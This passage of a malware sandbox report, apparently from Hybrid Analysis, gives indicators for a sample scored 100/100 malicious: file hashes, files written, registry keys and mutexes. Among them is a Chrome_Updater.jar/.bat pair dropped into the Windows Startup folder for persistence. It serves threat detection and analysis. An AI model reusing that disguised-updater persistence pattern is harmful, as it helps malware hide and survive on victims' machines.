0fbb0c3cc84153af5b6c473196db05179f3db907f313df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"com/sun/jna/win32-aarch64/jnidispatch.dll","sha256":"29fe4c6371b0b1685909c5b5f69d4976244006f81a2ffc9342a8948bbd8fa8a0","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/sunos-x86-64","sha256":"6daf568a88fc44f7fd97c814ba7e2e6ce2290aafd7585055efc0d8bcabe0f099","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/win32-x86-64/jnidispatch.dll","sha256":"13b2cac3f50368ab97fa2e3b0d0d2cb612f68449d5bbd6de187fc85ee4469d03","verdict":"clean","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/win32-x86/jnidispatch.dll","sha256":"1b06cba48eea2ad4881bc88a2749e40500dbc87c1a2149290eb61d473a64e4c1","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"urlref_httpmaven.apache.orgxsdmaven-4.0.0.xsd","sha256":"7515c6b6feed62595975289a30ab83ef8c6f545798e94c4af2fe3e3da6079a1b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"com/sun/jna/linux-ppc64le","sha256":"d12e08b83318e202eaefb54958b31543c894eda6673f361022e21474d62b686b","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/darwin-aarch64","sha256":"32223f6ad4d1b3c5651bac44bf83e07207bf995987c6c6d6f839436ed75cf6ea","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/sunos-x86","sha256":"d1e83636af7ecfc426badff53bf2c1e15ff2c341bdfccb06e566a907e5c2366b","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"Chrome_Updater.bat","sha256":"9ad4d25dfe6909cab152dbaa0b492705db93d208f7b0fbd5e1cc05c7234f4cf8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_5matd1v2.uxq.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_lvfw55w0.f10.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_oyv1c3o5.q0g.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_p4cuwkxr.4px.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_q10mdvzu.g4t.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_sqi1x3is.cnk.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_xr3vh442.njh.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_ykwp1s5p.jqm.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"imageio2825440506134962047.tmp","sha256":"b188face0ca87f7bc20f34425c5ddc7f698319eddfd4f5e48041c655f4709c90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"imageio401711441080987923.tmp","sha256":"b188face0ca87f7bc20f34425c5ddc7f698319eddfd4f5e48041c655f4709c90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"cce3fe3b0d8d80bc.timestamp","sha256":"77dbe3ae7d16fa27390dc87c47c7ebfbcf83ec37144e19ba47486c91c6421286","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"StartupProfileData-NonInteractive","sha256":"3314959fa34566f63bbdb4a94d62325790e3405a53e7181d46b285fa80fcd405","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_1m0wotn1.fsz.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_3a1ylkha.f2g.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_c1fluvly.wp5.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_pvih5lum.bz1.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_revnyc04.2jl.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_u2awmf2u.cft.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"__PSScriptPolicyTest_zbflrq5n.t1l.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\hsperfdata_COEc2pa\\860","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage\\3903daac9bc4a3b7.timestamp","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"path":"C:\\hs_err_pid860.log","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"path":"%TEMP%\\hsperfdata_%OSUSER%\\5256","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage\\cce3fe3b0d8d80bc.timestamp","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.jar","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.jar:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\imageio4849906140372636108.tmp","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\imageio401711441080987923.tmp","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\imageio2825440506134962047.tmp","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\imageio6433719467679739438.tmp","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_q10mdvzu.g4t.ps1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zbflrq5n.t1l.psm1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xr3vh442.njh.ps1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_c1fluvly.wp5.psm1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ykwp1s5p.jqm.ps1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pvih5lum.bz1.psm1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_oyv1c3o5.q0g.ps1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_u2awmf2u.cft.psm1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lvfw55w0.f10.ps1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_3a1ylkha.f2g.psm1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1m0wotn1.fsz.psm1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_p4cuwkxr.4px.ps1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\FLIGHTROOT\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\FLIGHTROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\TRUST\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\TRUST\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"Local\\SM0:860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7264:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"SM0:7264:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5256:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\SM0:5256:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:5256:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5256:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:2560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4268:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:4268:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5364:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:5364:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5400:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5400:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5400:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5400:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\SM0:5400:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:5400:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\SM0:5400:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:5400:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:9176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:9176:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9176:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\SM0:9176:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:9176:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\SM0:9176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:9176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:8624:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8624:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8624:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8624:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6292:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6292:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Local\\SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:6292:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}]}},"report_ids":{"sandbox_job_ids":["6af244141114811dde0f835f","6af23fd0dc588621900096f7"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Sample 7d89b002f9c1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7d89b002f9c1…. Threat score 100/100. 0/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample 7d89b002f9c1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7d89b002f9c1…. Threat score 100/100. 0/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox 